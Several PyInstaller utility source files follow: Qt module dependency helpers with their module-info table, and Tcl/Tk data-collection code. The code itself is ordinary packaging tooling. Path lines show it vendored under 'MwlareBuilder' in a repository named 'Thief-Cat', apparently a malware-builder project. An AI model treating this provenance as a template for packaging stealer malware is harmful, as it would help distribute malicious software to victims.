# Generic implemnentation that finds the Qt 5/6 dependencies based on the hook name of a PyQt5/PyQt6/PySide2/PySide6
# hook. Returns (hiddenimports, binaries, datas). Typical usage:
# ``hiddenimports, binaries, datas = add_qt5_dependencies(__file__)``.
def add_qt_dependencies(hook_file):
    # Find the module underlying this Qt hook: change ``/path/to/hook-PyQt5.blah.py`` to ``PyQt5.blah``.
    hook_name, hook_ext = os.path.splitext(os.path.basename(hook_file))
    assert hook_ext.startswith('.py')
    assert hook_name.startswith('hook-')
    module_name = hook_name[5:]
    namespace = module_name.split('.')[0]

    # Retrieve Qt library info structure....
    qt_info = get_qt_library_info(namespace)
    # ... and use it to collect module dependencies
    return qt_info.collect_module(module_name)


# add_qt5_dependencies
# --------------------
# Find the Qt5 dependencies based on the hook name of a PySide2/PyQt5 hook. Returns (hiddenimports, binaries, datas).
# Typical usage: ``hiddenimports, binaries, datas = add_qt5_dependencies(__file__)``.
add_qt5_dependencies = add_qt_dependencies  # Use generic implementation

# add_qt6_dependencies
# --------------------
# Find the Qt6 dependencies based on the hook name of a PySide6/PyQt6 hook. Returns (hiddenimports, binaries, datas).
# Typical usage: ``hiddenimports, binaries, datas = add_qt6_dependencies(__file__)``.
add_qt6_dependencies = add_qt_dependencies  # Use generic implementation

ThiefCat_assets/MwlareBuilder/utils/hooks/qt/__init__.py
KSCH-58/Thief-Cat
# ----------------------------------------------------------------------------
# Copyright (c) 2022-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

# Qt modules information - the core of our Qt collection approach
# ----------------------------------------------------------------
#
# The python bindings for Qt (``PySide2``, ``PyQt5``, ``PySide6``, ``PyQt6``) consist of several python binary extension
# modules that provide bindings for corresponding Qt modules. For example, the ``PySide2.QtNetwork`` python extension
# module provides bindings for the ``QtNetwork`` Qt module from the ``qt/qtbase`` Qt repository.
#
# A Qt module can be considered as consisting of:
#  * a shared library (for example, on Linux, the shared library names for the ``QtNetwork`` Qt module in Qt5 and Qt6
#    are ``libQt5Network.so`` and ``libQt6Network.so``, respectively).
#  * plugins: a certain type (or class) of plugins is usually associated with a single Qt module (for example,
#    ``imageformats`` plugins are associated with the ``QtGui`` Qt module from the ``qt/qtbase`` Qt repository), but
#    additional plugins of that type may come from other Qt repositories. For example, ``imageformats/qsvg`` plugin
#    is provided by ``qtsvg/src/plugins/imageformats/svg`` from the ``qt/qtsvg`` repository, and ``imageformats/qpdf``
#    is provided by ``qtwebengine/src/pdf/plugins/imageformats/pdf`` from the ``qt/qtwebengine`` repository.
#  * translation files: names of translation files consist of a base name, which typically corresponds to the Qt
#    repository name, and language code. A single translation file usually covers all Qt modules contained within
#    the same repository. For example, translation files with base name ``qtbase``  contain translations for ``QtCore``,
#    ``QtGui``, ``QtWidgets``, ``QtNetwork``, and other Qt modules from the ``qt/qtbase`` Qt repository.
#
# The PyInstaller's built-in analysis of link-time dependencies ensures that when collecting a Qt python extension
# module, we automatically pick up the linked Qt shared libraries. However, collection of linked Qt shared libraries
# does not result in collection of plugins, nor translation files. In addition, the dependency of a Qt python extension
# module on other Qt python extension modules (i.e., at the bindings level) cannot be automatically determined due to
# PyInstaller's inability to scan imports in binary extensions.
#
# PyInstaller < 5.7 solved this problem using a dictionary that associated a Qt shared library name with python
# extension name, plugins, and translation files. For each hooked Qt python extension module, the hook calls a helper
# that analyzes the extension file for link-time dependencies, and matches those against the dictionary. Therefore,
# based on linked shared libraries, we could recursively infer the list of files to collect in addition to the shared
# libraries themselves:
#  - plugins and translation files belonging to Qt modules whose shared libraries we collect
#  - Qt python extension modules corresponding to the Qt modules that we collect
#
# The above approach ensures that even if analyzed python script contains only ``from PySide2 import QtWidgets``,
# we would also collect ``PySide2.QtGui`` and ``PySide2.QtCore``, as well as all corresponding Qt module files
# (the shared libraries, plugins, translation files). For this to work, a hook must be provided for the
# ``PySide2.QtWidgets`` that performs the recursive analysis of the extension module file; so to ensure that each
# Qt python extension module by itself ensures collection of all its dependencies, we need to hook all Qt python
# extension modules provided by specific python Qt bindings package.
#
# The above approach with single dictionary, however, has several limitations:
#  - it cannot provide association for Qt python module that binds a Qt module without a shared library (i.e., a
#    headers-only module, or a statically-built module). In such cases, potential plugins and translations should
#    be associated directly with the Qt python extension file instead of the Qt module's (non-existent) shared library.
#  - it cannot (directly) handle differences between Qt5 and Qt6; we had to build a second dictionary
#  - it cannot handle differences between the bindings themselves; for example, PyQt5 binds some Qt modules that
#    PySide2 does not bind. Or, the binding's Qt python extension module is named differently in PyQt and PySide
#    bindings (or just differently in PyQt5, while PySide2, PySide6, and PyQt6 use the same name).
#
# In order address the above shortcomings, we now store all information a list of structures that contain information
# for a particular Qt python extension and/or Qt module (shared library):
#  - python extension name (if applicable)
#  - Qt module name base (if applicable)
#  - plugins
#  - translation files base name
#  - applicable Qt version (if necessary)
#  - applicable Qt bindings (if necessary)
#
# This list is used to dynamically construct two dictionaries (based on the bindings name and Qt version):
#  - mapping python extension names to associated module information
#  - mapping Qt shared library names to associated module information
# This allows us to associate plugins and translations with either Qt python extension or with the Qt module's shared
# library (or both), whichever is applicable.
#
# The `qt_dynamic_dependencies_dict`_ from the original approach was constructed using several information sources, as
# documented `here
# <https://github.com/PyInstaller/PyInstaller/blob/fbf7948be85177dd44b41217e9f039e1d176de6b/PyInstaller/utils/hooks/qt.py#L266-L362>˙_.
#
# In the current approach, the relations stored in the `QT_MODULES_INFO`_ list were determined directly, by inspecting
# the Qt source code. This requires some prior knowledge of how the Qt code is organized (repositories and individual Qt
# modules within them), as well as some searching based on guesswork. The procedure can be outlined as follows:
#  * check out the `main Qt repository <git://code.qt.io/qt/qt5.git>`_. This repository contains references to all other
#    Qt repositories in the form of git submodules.
#  * for Qt5:
#      * check out the latest release tag, e.g., v5.15.2, then check out the submodules.
#      * search the Qt modules' qmake .pro files; for example, ``qtbase/src/network/network.pro`` for QtNetwork module.
#        The plugin types associated with the module are listed in the ``MODULE_PLUGIN_TYPES`` variable (in this case,
#        ``bearer``).
#      * all translations are gathered in ``qttranslations`` sub-module/repository, and their association with
#        individual repositories can be seen in ``qttranslations/translations/translations.pro``.
#  * for Qt6:
#      * check out the latest release tag, e.g., v6.3.1, then check out the submodules.
#      * search the Qt modules' CMake files; for example, ``qtbase/src/network/CMakeLists.txt`` for QtNetwork module.
#        The plugin types associated with the module are listed under ``PLUGIN_TYPES`` argument of the
#        ``qt_internal_add_module()`` function that defines the Qt module.
#
# The idea is to make a list of all extension modules found in a Qt bindings package, as well as all available plugin
# directories (which correspond to plugin types) and translation files. For each extension, identify the corresponding
# Qt module (shared library name) and its associated plugins and translation files. Once this is done, most of available
# plugins and translations in the python bindings package should have a corresponding python Qt extension module
# available; this gives us associations based on the python extension module names as well as based on the Qt shared
# library names. For any plugins and translation files remaining unassociated, identify the corresponding Qt module;
# this gives us associations based only on Qt shared library names. While this second group of associations are never
# processed directly (due to lack of corresponding python extension), they may end up being processed during the
# recursive dependency analysis, if the corresponding Qt shared library is linked against by some Qt python extension
# or another Qt shared library.


# This structure is used to define Qt module information, such as python module/extension name, Qt module (shared
# library) name, translation files' base names, plugins, as well as associated python bindings (which implicitly
# also encode major Qt version).
class _QtModuleDef:
    def __init__(self, module, shared_lib=None, translations=None, plugins=None, bindings=None):
        # Python module (extension) name without package namespace. For example, `QtCore`.
        # Can be None if python bindings do not bind the module, but we still need to establish relationship between
        # the Qt module (shared library) and its plugins and translations.
        self.module = module
        # Associated Qt module (shared library), if any. Used during recursive dependency analysis, where a python
        # module (extension) is analyzed for linked Qt modules (shared libraries), and then their corresponding
        # python modules (extensions) are added to hidden imports. For example, the Qt module name is `Qt5Core` or
        # `Qt6Core`, depending on the Qt version. Can be None for python modules that are not tied to a particular
        # Qt shared library (for example, the corresponding Qt module is headers-only) and hence they cannot be
        # inferred from recursive link-time dependency analysis.
        self.shared_lib = shared_lib
        # List of base names of translation files (if any) associated with the Qt module. Multiple base names may be
        # associated with a single module.
        # For example, `['qt', 'qtbase']` for `QtCore` or `['qtmultimedia']` for `QtMultimedia`.
        self.translations = translations or []
        # List of plugins associated with the Qt module.
        self.plugins = plugins or []
        # List of bindings (PySide2, PyQt5, PySide6, PyQt6) that provide the python module. This allows association of
        # plugins and translations with shared libraries even for bindings that do not provide python module binding
        # for the Qt module.
        self.bindings = set(bindings or [])


# All Qt-based bindings.
ALL_QT_BINDINGS = {"PySide2", "PyQt5", "PySide6", "PyQt6"}

# Qt modules information - the core of our Qt collection approach.
#
# For every python module/extension (i.e., entry in the list below that has valid `module`), we need a corresponding
# hook, ensuring that the extension file is analyzed, so that we collect the associated plugins and translation
# files, as well as perform recursive analysis of link-time binary dependencies (so that plugins and translation files
# belonging to those dependencies are collected as well).
QT_MODULES_INFO = (
    # *** qt/qt3d ***
    _QtModuleDef("Qt3DAnimation", shared_lib="3DAnimation"),
    _QtModuleDef("Qt3DCore", shared_lib="3DCore"),
    _QtModuleDef("Qt3DExtras", shared_lib="3DExtras"),
    _QtModuleDef("Qt3DInput", shared_lib="3DInput", plugins=["3dinputdevices"]),
    _QtModuleDef("Qt3DLogic", shared_lib="3DLogic"),
    _QtModuleDef(
        "Qt3DRender", shared_lib="3DRender", plugins=["geometryloaders", "renderplugins", "renderers", "sceneparsers"]
    ),

    # *** qt/qtactiveqt ***
    # The python module is called QAxContainer in PyQt bindings, but QtAxContainer in PySide. The associated Qt module
    # is header-only, so there is no shared library.
    _QtModuleDef("QAxContainer", bindings=["PyQt*"]),
    _QtModuleDef("QtAxContainer", bindings=["PySide*"]),

    # *** qt/qtcharts ***
    # The python module is called QtChart in PyQt5, and QtCharts in PySide2, PySide6, and PyQt6 (which corresponds to
    # the associated Qt module name, QtCharts).
    _QtModuleDef("QtChart", shared_lib="Charts", bindings=["PyQt5"]),
    _QtModuleDef("QtCharts", shared_lib="Charts", bindings=["!PyQt5"]),

    # *** qt/qtbase ***
    # QtConcurrent python module is available only in PySide bindings.
    _QtModuleDef(None, shared_lib="Concurrent", bindings=["PyQt*"]),
    _QtModuleDef("QtConcurrent", shared_lib="Concurrent", bindings=["PySide*"]),
    _QtModuleDef("QtCore", shared_lib="Core", translations=["qt", "qtbase"]),
    # QtDBus python module is available in all bindings but PySide2.
    _QtModuleDef(None, shared_lib="DBus", bindings=["PySide2"]),
    _QtModuleDef("QtDBus", shared_lib="DBus", bindings=["!PySide2"]),
    # QtNetwork uses different plugins in Qt5 and Qt6.
    _QtModuleDef("QtNetwork", shared_lib="Network", plugins=["bearer"], bindings=["PySide2", "PyQt5"]),
    _QtModuleDef(
        "QtNetwork",
        shared_lib="Network",
        plugins=["networkaccess", "networkinformation", "tls"],
        bindings=["PySide6", "PyQt6"]
    ),
    _QtModuleDef(
        "QtGui",
        shared_lib="Gui",
        plugins=[
            "accessiblebridge",
            "egldeviceintegrations",
            "generic",
            "iconengines",
            "imageformats",
            "platforms",
            "platforms/darwin",
            "platforminputcontexts",
            "platformthemes",
            "xcbglintegrations",
            # The ``wayland-*`` plugins are part of QtWaylandClient Qt module, whose shared library
            # (e.g., libQt5WaylandClient.so) is linked by the wayland-related ``platforms`` plugins. Ideally, we would
            # collect these plugins based on the QtWaylandClient shared library entry, but as our Qt hook utilities do
            # not scan the plugins for dependencies, that would not work. So instead we list these plugins under QtGui
            # to achieve pretty much the same end result.
            "wayland-decoration-client",
            "wayland-graphics-integration-client",
            "wayland-shell-integration"
        ]
    ),
    _QtModuleDef("QtOpenGL", shared_lib="OpenGL"),
    # This python module is specific to PySide2 and has no associated Qt module.
    _QtModuleDef("QtOpenGLFunctions", bindings=["PySide2"]),
    # This Qt module was introduced with Qt6.
    _QtModuleDef("QtOpenGLWidgets", shared_lib="OpenGLWidgets", bindings=["PySide6", "PyQt6"]),
    _QtModuleDef("QtPrintSupport", shared_lib="PrintSupport", plugins=["printsupport"]),
    _QtModuleDef("QtSql", shared_lib="Sql", plugins=["sqldrivers"]),
    _QtModuleDef("QtTest", shared_lib="Test"),
    _QtModuleDef("QtWidgets", shared_lib="Widgets", plugins=["styles"]),
    _QtModuleDef("QtXml", shared_lib="Xml"),

    # *** qt/qtconnectivity ***
    _QtModuleDef("QtBluetooth", shared_lib="QtBluetooth", translations=["qtconnectivity"]),
    _QtModuleDef("QtNfc", shared_lib="Nfc", translations=["qtconnectivity"]),

    # *** qt/qtdatavis3d ***
    _QtModuleDef("QtDataVisualization", shared_lib="DataVisualization"),

    # *** qt/qtdeclarative ***
    _QtModuleDef("QtQml", shared_lib="Qml", translations=["qtdeclarative"], plugins=["qmltooling"]),
    # Have the Qt5 variant collect translations for qtquickcontrols (qt/qtquickcontrols provides only QtQuick plugins).
    _QtModuleDef(
        "QtQuick",
        shared_lib="Quick",
        translations=["qtquickcontrols"],
        plugins=["scenegraph"],
        bindings=["PySide2", "PyQt5"]
    ),
    _QtModuleDef("QtQuick", shared_lib="Quick", plugins=["scenegraph"], bindings=["PySide6", "PyQt6"]),
    # Qt6-only; in Qt5, this module is part of qt/qtquickcontrols2. Python module is available only in PySide6.
    _QtModuleDef(None, shared_lib="QuickControls2", bindings=["PyQt6"]),
    _QtModuleDef("QtQuickControls2", shared_lib="QuickControls2", bindings=["PySide6"]),
    _QtModuleDef("QtQuickWidgets", shared_lib="QuickWidgets"),

    # *** qt/qtgamepad ***
    # No python module; shared library -> plugins association entry.
    _QtModuleDef(None, shared_lib="Gamepad", plugins=["gamepads"]),

    # *** qt/qthttpserver ***
    # Qt6 >= 6.4.0; python module is available only in PySide6.
    _QtModuleDef("QtHttpServer", shared_lib="HttpServer", bindings=["PySide6"]),

    # *** qt/qtlocation ***
    # QtLocation was reintroduced in Qt6 v6.5.0.
    _QtModuleDef(
        "QtLocation",
        shared_lib="Location",
        translations=["qtlocation"],
        plugins=["geoservices"],
        bindings=["PySide2", "PyQt5", "PySide6"]
    ),
    _QtModuleDef(
        "QtPositioning",
        shared_lib="Positioning",
        translations=["qtlocation"],
        plugins=["position"],
    ),

    # *** qt/qtmacextras ***
    # Qt5-only Qt module.
    _QtModuleDef("QtMacExtras", shared_lib="MacExtras", bindings=["PySide2", "PyQt5"]),

    # *** qt/qtmultimedia ***
    # QtMultimedia on Qt6 currently uses only a subset of plugin names from Qt5 counterpart.
    _QtModuleDef(
        "QtMultimedia",
        shared_lib="Multimedia",
        translations=["qtmultimedia"],
        plugins=[
            "mediaservice", "audio", "video/bufferpool", "video/gstvideorenderer", "video/videonode", "playlistformats",
            "resourcepolicy"
        ],
        bindings=["PySide2", "PyQt5"]
    ),
    _QtModuleDef(
        "QtMultimedia",
        shared_lib="Multimedia",
        translations=["qtmultimedia"],
        # `multimedia` plugins are available as of Qt6 >= 6.4.0; earlier versions had `video/gstvideorenderer` and
        # `video/videonode` plugins.
        plugins=["multimedia", "video/gstvideorenderer", "video/videonode"],
        bindings=["PySide6", "PyQt6"]
    ),
    _QtModuleDef("QtMultimediaWidgets", shared_lib="MultimediaWidgets"),
    # Qt6-only Qt module; python module is available in PySide6 >= 6.4.0 and PyQt6 >= 6.5.0
    _QtModuleDef("QtSpatialAudio", shared_lib="SpatialAudio", bindings=["PySide6", "PyQt6"]),

    # *** qt/qtnetworkauth ***
    # QtNetworkAuth python module is available in all bindings but PySide2.
    _QtModuleDef(None, shared_lib="NetworkAuth", bindings=["PySide2"]),
    _QtModuleDef("QtNetworkAuth", shared_lib="NetworkAuth", bindings=["!PySide2"]),

    # *** qt/qtpurchasing ***
    # Qt5-only Qt module, python module is available only in PyQt5.
    _QtModuleDef("QtPurchasing", shared_lib="Purchasing", bindings=["PyQt5"]),

    # *** qt/qtquick1 ***
    # This is an old, Qt 5.3-era module...
    _QtModuleDef(
        "QtDeclarative",
        shared_lib="Declarative",
        translations=["qtquick1"],
        plugins=["qml1tooling"],
        bindings=["PySide2", "PyQt5"]
    ),

    # *** qt/qtquick3d ***
    # QtQuick3D python module is available in all bindings but PySide2.
    _QtModuleDef(None, shared_lib="Quick3D", bindings=["PySide2"]),
    _QtModuleDef("QtQuick3D", shared_lib="Quick3D", bindings=["!PySide2"]),
    # No python module; shared library -> plugins association entry.
    _QtModuleDef(None, shared_lib="Quick3DAssetImport", plugins=["assetimporters"]),

    # *** qt/qtquickcontrols2 ***
    # Qt5-only module; in Qt6, this module is part of qt/declarative. Python module is available only in PySide2.
    _QtModuleDef(None, translations=["qtquickcontrols2"], shared_lib="QuickControls2", bindings=["PyQt5"]),
    _QtModuleDef(
        "QtQuickControls2", translations=["qtquickcontrols2"], shared_lib="QuickControls2", bindings=["PySide2"]
    ),

    # *** qt/qtremoteobjects ***
    _QtModuleDef("QtRemoteObjects", shared_lib="RemoteObjects"),

    # *** qt/qtscxml ***
    # Python module is available only in PySide bindings. Plugins are available only in Qt6.
    # PyQt wheels do not seem to ship the corresponding Qt modules (shared libs) at all.
    _QtModuleDef("QtScxml", shared_lib="Scxml", bindings=["PySide2"]),
    _QtModuleDef("QtScxml", shared_lib="Scxml", plugins=["scxmldatamodel"], bindings=["PySide6"]),
    # Qt6-only Qt module, python module is available only in PySide6.
    _QtModuleDef("QtStateMachine", shared_lib="StateMachine", bindings=["PySide6"]),

    # *** qt/qtsensors ***
    _QtModuleDef("QtSensors", shared_lib="Sensors", plugins=["sensors", "sensorgestures"]),

    # *** qt/qtserialport ***
    _QtModuleDef("QtSerialPort", shared_lib="SerialPort", translations=["qtserialport"]),

    # *** qt/qtscript ***
    # Qt5-only Qt module, python module is available only in PySide2. PyQt5 wheels do not seem to ship the corresponding
    # Qt modules (shared libs) at all.
    _QtModuleDef("QtScript", shared_lib="Script", translations=["qtscript"], plugins=["script"], bindings=["PySide2"]),
    _QtModuleDef("QtScriptTools", shared_lib="ScriptTools", bindings=["PySide2"]),

    # *** qt/qtserialbus ***
    # No python module; shared library -> plugins association entry.
    # PySide6 6.5.0 introduced python module.
    _QtModuleDef(None, shared_lib="SerialBus", plugins=["canbus"], bindings=["!PySide6"]),
    _QtModuleDef("QtSerialBus", shared_lib="SerialBus", plugins=["canbus"], bindings=["PySide6"]),

    # *** qt/qtsvg ***
    _QtModuleDef("QtSvg", shared_lib="Svg"),
    # Qt6-only Qt module.
    _QtModuleDef("QtSvgWidgets", shared_lib="SvgWidgets", bindings=["PySide6", "PyQt6"]),

    # *** qt/qtspeech ***
    _QtModuleDef("QtTextToSpeech", shared_lib="TextToSpeech", plugins=["texttospeech"]),

    # *** qt/qttools ***
    # QtDesigner python module is available in all bindings but PySide2.
    _QtModuleDef(None, shared_lib="Designer", plugins=["designer"], bindings=["PySide2"]),
    _QtModuleDef(
        "QtDesigner", shared_lib="Designer", translations=["designer"], plugins=["designer"], bindings=["!PySide2"]
    ),
    _QtModuleDef("QtHelp", shared_lib="Help", translations=["qt_help"]),
    # Python module is available only in PySide bindings.
    _QtModuleDef("QtUiTools", shared_lib="UiTools", bindings=["PySide*"]),

    # *** qt/qtvirtualkeyboard ***
    # No python module; shared library -> plugins association entry.
    _QtModuleDef(None, shared_lib="VirtualKeyboard", plugins=["virtualkeyboard"]),

    # *** qt/qtwebchannel ***
    _QtModuleDef("QtWebChannel", shared_lib="WebChannel"),

    # *** qt/qtwebengine ***
    # QtWebEngine is Qt5-only module (replaced by QtWebEngineQuick in Qt6).
    _QtModuleDef("QtWebEngine", shared_lib="WebEngine", bindings=["PySide2", "PyQt5"]),
    _QtModuleDef("QtWebEngineCore", shared_lib="WebEngineCore", translations=["qtwebengine"]),
    # QtWebEngineQuick is Qt6-only module (replacement for QtWebEngine in Qt5).
    _QtModuleDef("QtWebEngineQuick", shared_lib="WebEngineQuick", bindings=["PySide6", "PyQt6"]),
    _QtModuleDef("QtWebEngineWidgets", shared_lib="WebEngineWidgets"),
    # QtPdf and QtPdfWidgets have python module available in PySide6 and PyQt6 >= 6.4.0.
    _QtModuleDef("QtPdf", shared_lib="Pdf", bindings=["PySide6", "PyQt6"]),
    _QtModuleDef("QtPdfWidgets", shared_lib="PdfWidgets", bindings=["PySide6", "PyQt6"]),

    # *** qt/qtwebsockets ***
    _QtModuleDef("QtWebSockets", shared_lib="WebSockets", translations=["qtwebsockets"]),

    # *** qt/qtwebview ***
    # No python module; shared library -> plugins association entry.
    _QtModuleDef(None, shared_lib="WebView", plugins=["webview"]),

    # *** qt/qtwinextras ***
    # Qt5-only Qt module.
    _QtModuleDef("QtWinExtras", shared_lib="WinExtras", bindings=["PySide2", "PyQt5"]),

    # *** qt/qtx11extras ***
    # Qt5-only Qt module.
    _QtModuleDef("QtX11Extras", shared_lib="X11Extras", bindings=["PySide2", "PyQt5"]),

    # *** qt/qtxmlpatterns ***
    # Qt5-only Qt module.
    _QtModuleDef(
        "QtXmlPatterns", shared_lib="XmlPatterns", translations=["qtxmlpatterns"], bindings=["PySide2", "PyQt5"]
    ),

    # *** qscintilla ***
    # Python module is available only in PyQt bindings. No associated shared library.
    _QtModuleDef("Qsci", translations=["qscintilla"], bindings=["PyQt*"]),
)


# Helpers for turning Qt namespace specifiers, such as "!PySide2" or "PyQt*", into set of applicable
# namespaces.
def process_namespace_strings(namespaces):
    """"Process list of Qt namespace specifier strings into set of namespaces."""
    bindings = set()
    for namespace in namespaces:
        bindings |= _process_namespace_string(namespace)
    return bindings


def _process_namespace_string(namespace):
    """Expand a Qt namespace specifier string into set of namespaces."""
    if namespace.startswith("!"):
        bindings = _process_namespace_string(namespace[1:])
        return ALL_QT_BINDINGS - bindings
    else:
        if namespace == "PySide*":
            return {"PySide2", "PySide6"}
        elif namespace == "PyQt*":
            return {"PyQt5", "PyQt6"}
        elif namespace in ALL_QT_BINDINGS:
            return {namespace}
        else:
            raise ValueError(f"Invalid Qt namespace specifier: {namespace}!")

ThiefCat_assets/MwlareBuilder/utils/hooks/qt/_modules_info.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import locale
import os

from PyInstaller import compat
from PyInstaller import isolated
from PyInstaller import log as logging
from PyInstaller.building.datastruct import Tree
from PyInstaller.depend import bindepend

logger = logging.getLogger(__name__)

TK_ROOTNAME = 'tk'
TCL_ROOTNAME = 'tcl'


@isolated.decorate
def _get_tcl_tk_info():
    """
    Isolated-subprocess helper to retrieve the basic Tcl/Tk information:
     - tcl_dir = path to the Tcl library/data directory.
     - tcl_version = Tcl version
     - tk_version = Tk version
     - tcl_theaded = boolean indicating whether Tcl/Tk is built with multi-threading support.
    """
    try:
        import tkinter
        from _tkinter import TCL_VERSION, TK_VERSION
    except ImportError:
        # tkinter unavailable
        return None, None, None, False
    try:
        tcl = tkinter.Tcl()
    except tkinter.TclError:  # e.g. "Can't find a usable init.tcl in the following directories: ..."
        return None, None, None, False

    # Query the location of Tcl library/data directory.
    tcl_dir = tcl.eval("info library")

    # Check if Tcl/Tk is built with multi-threaded support (built with --enable-threads), as indicated by the presence
    # of optional `threaded` member in `tcl_platform` array.
    try:
        tcl.getvar("tcl_platform(threaded)")  # Ignore the actual value.
        tcl_threaded = True
    except tkinter.TclError:
        tcl_threaded = False

    return tcl_dir, TCL_VERSION, TK_VERSION, tcl_threaded


# Populate the variables. If `tkinter` is unavailable, the values are set to `None` or `False`.
(
    tcl_dir,
    tcl_version,
    tk_version,
    tcl_threaded,
) = _get_tcl_tk_info()


def _warn_if_activetcl_or_teapot_installed(tcl_root, tcltree):
    """
    If the current Tcl installation is a Teapot-distributed version of ActiveTcl *and* the current platform is macOS,
    log a non-fatal warning that the resulting executable will (probably) fail to run on non-host systems.

    PyInstaller does *not* freeze all ActiveTcl dependencies -- including Teapot, which is typically ignorable. Since
    Teapot is *not* ignorable in this case, this function warns of impending failure.

    See Also
    -------
    https://github.com/PyInstaller/PyInstaller/issues/621
    """
    import macholib.util

    # System libraries do not experience this problem.
    if macholib.util.in_system_path(tcl_root):
        return

    # Absolute path of the "init.tcl" script.
    try:
        init_resource = [r[1] for r in tcltree if r[1].endswith('init.tcl')][0]
    except IndexError:
        # If such script could not be found, silently return.
        return

    mentions_activetcl = False
    mentions_teapot = False
    # TCL/TK reads files using the system encoding:
    # https://www.tcl.tk/doc/howto/i18n.html#system_encoding
    with open(init_resource, 'r', encoding=locale.getpreferredencoding()) as init_file:
        for line in init_file.readlines():
            line = line.strip().lower()
            if line.startswith('#'):
                continue
            if 'activetcl' in line:
                mentions_activetcl = True
            if 'teapot' in line:
                mentions_teapot = True
            if mentions_activetcl and mentions_teapot:
                break

    if mentions_activetcl and mentions_teapot:
        logger.warning(
            """
You appear to be using an ActiveTcl build of Tcl/Tk, which PyInstaller has
difficulty freezing. To fix this, comment out all references to "teapot" in:

     %s

See https://github.com/PyInstaller/PyInstaller/issues/621 for more information.
            """ % init_resource
        )


def find_tcl_tk_shared_libs(tkinter_ext_file):
    """
    Find Tcl and Tk shared libraries against which the _tkinter module is linked.

    Returns
    -------
    list
        list containing two tuples, one for Tcl and one for Tk library, where each tuple contains the library name and
        its full path, i.e., [(tcl_lib, tcl_libpath), (tk_lib, tk_libpath)]. If a library is not found, the
        corresponding tuple elements are set to None.
    """
    tcl_lib = None
    tcl_libpath = None
    tk_lib = None
    tk_libpath = None

    for _, lib_path in bindepend.get_imports(tkinter_ext_file):  # (name, fullpath) tuple
        if lib_path is None:
            continue  # Skip unresolved entries

        # For comparison, take basename of lib_path. On macOS, lib_name returned by get_imports is in fact referenced
        # name, which is not necessarily just a basename.
        lib_name = os.path.basename(lib_path)
        lib_name_lower = lib_name.lower()  # lower-case for comparisons

        if 'tcl' in lib_name_lower:
            tcl_lib = lib_name
            tcl_libpath = lib_path
        elif 'tk' in lib_name_lower:
            tk_lib = lib_name
            tk_libpath = lib_path

    return [(tcl_lib, tcl_libpath), (tk_lib, tk_libpath)]


def _find_tcl_tk(tkinter_ext_file):
    """
    Get a platform-specific 2-tuple of the absolute paths of the top-level external data directories for both
    Tcl and Tk, respectively.

    Returns
    -------
    list
        2-tuple that contains the values of `${TCL_LIBRARY}` and `${TK_LIBRARY}`, respectively.
    """
    if compat.is_darwin:
        # On macOS, _tkinter extension is linked either against the system Tcl/Tk framework (older homebrew python,
        # python3 from XCode tools) or against bundled Tcl/Tk library (recent python.org builds, recent homebrew
        # python with python-tk). PyInstaller does not bundle data from system frameworks (as it does not not collect
        # shared libraries from them, either), so we need to determine what kind of Tcl/Tk we are dealing with.
        libs = find_tcl_tk_shared_libs(tkinter_ext_file)

        # Check the full path to the Tcl library.
        path_to_tcl = libs[0][1]

        # Starting with macOS 11, system libraries are hidden (unless both Python and PyInstaller's bootloader are built
        # against MacOS 11.x SDK). Therefore, libs may end up empty; but that implicitly indicates that the system
        # framework is used, so return (None, None) to inform the caller.
        if path_to_tcl is None:
            return None, None

        # Check if the path corresponds to the system framework, i.e., [/System]/Library/Frameworks/Tcl.framework/Tcl
        if 'Library/Frameworks/Tcl.framework' in path_to_tcl:
            return None, None  # Do not collect system framework's data.

        # Bundled copy of Tcl/Tk; in this case, the dynamic library is
        # /Library/Frameworks/Python.framework/Versions/3.x/lib/libtcl8.6.dylib
        # and the data directories have standard layout that is handled by code below.
    else:
        # On Windows and linux, data directories have standard layout that is handled by code below.
        pass

    # The Tcl library location is already stored in `tcl_dir` global variable. The Tk library is in the same prefix, so
    # construct the path using `tk_version` global variable.
    tk_dir = os.path.join(os.path.dirname(tcl_dir), f"tk{tk_version}")
    return tcl_dir, tk_dir


def _collect_tcl_modules(tcl_root):
    """
    Get a list of TOC-style 3-tuples describing Tcl modules. The modules directory is separate from the library/data
    one, and is located at $tcl_root/../tclX, where X is the major Tcl version.

    Returns
    -------
    Tree
        Such list, if the modules directory exists.
    """

    # Obtain Tcl major version.
    tcl_major_version = tcl_version.split('.')[0]

    modules_dirname = f"tcl{tcl_major_version}"
    modules_path = os.path.join(tcl_root, '..', modules_dirname)

    if not os.path.isdir(modules_path):
        logger.warning('Tcl modules directory %s does not exist.', modules_path)
        return []

    return Tree(modules_path, prefix=modules_dirname)


def collect_tcl_tk_files(tkinter_ext_file):
    """
    Get a list of TOC-style 3-tuples describing all external Tcl/Tk data files.

    Returns
    -------
    Tree
        Such list.
    """
    # Find Tcl and Tk data directory by analyzing the _tkinter extension.
    tcl_root, tk_root = _find_tcl_tk(tkinter_ext_file)

    # On macOS, we do not collect system libraries. Therefore, if system Tcl/Tk framework is used, it makes no sense to
    # collect its data, either. In this case, _find_tcl_tk() will return None, None - either deliberately (we found the
    # data paths, but ignore them) or not (starting with macOS 11, the data path cannot be found until shared library
    # discovery is fixed).
    if compat.is_darwin and not tcl_root and not tk_root:
        logger.info(
            "Not collecting Tcl/Tk data - either python is using macOS\' system Tcl/Tk framework, or Tcl/Tk data "
            "directories could not be found."
        )
        return []

    # TODO Shouldn't these be fatal exceptions?
    if not tcl_root:
        logger.error('Tcl/Tk improperly installed on this system.')
        return []
    if not os.path.isdir(tcl_root):
        logger.error('Tcl data directory "%s" not found.', tcl_root)
        return []
    if not os.path.isdir(tk_root):
        logger.error('Tk data directory "%s" not found.', tk_root)
        return []

    # Collect Tcl and Tk scripts from their corresponding library/data directories. In contrast to source directories,
    # which are typically versioned (tcl8.6, tk8.6), the target directories are unversioned (tcl, tk); they are added
    # to the Tcl/Tk search path via runtime hook for _tkinter, which sets the `TCL_LIBRARY` and `TK_LIBRARY` environment
    # variables.
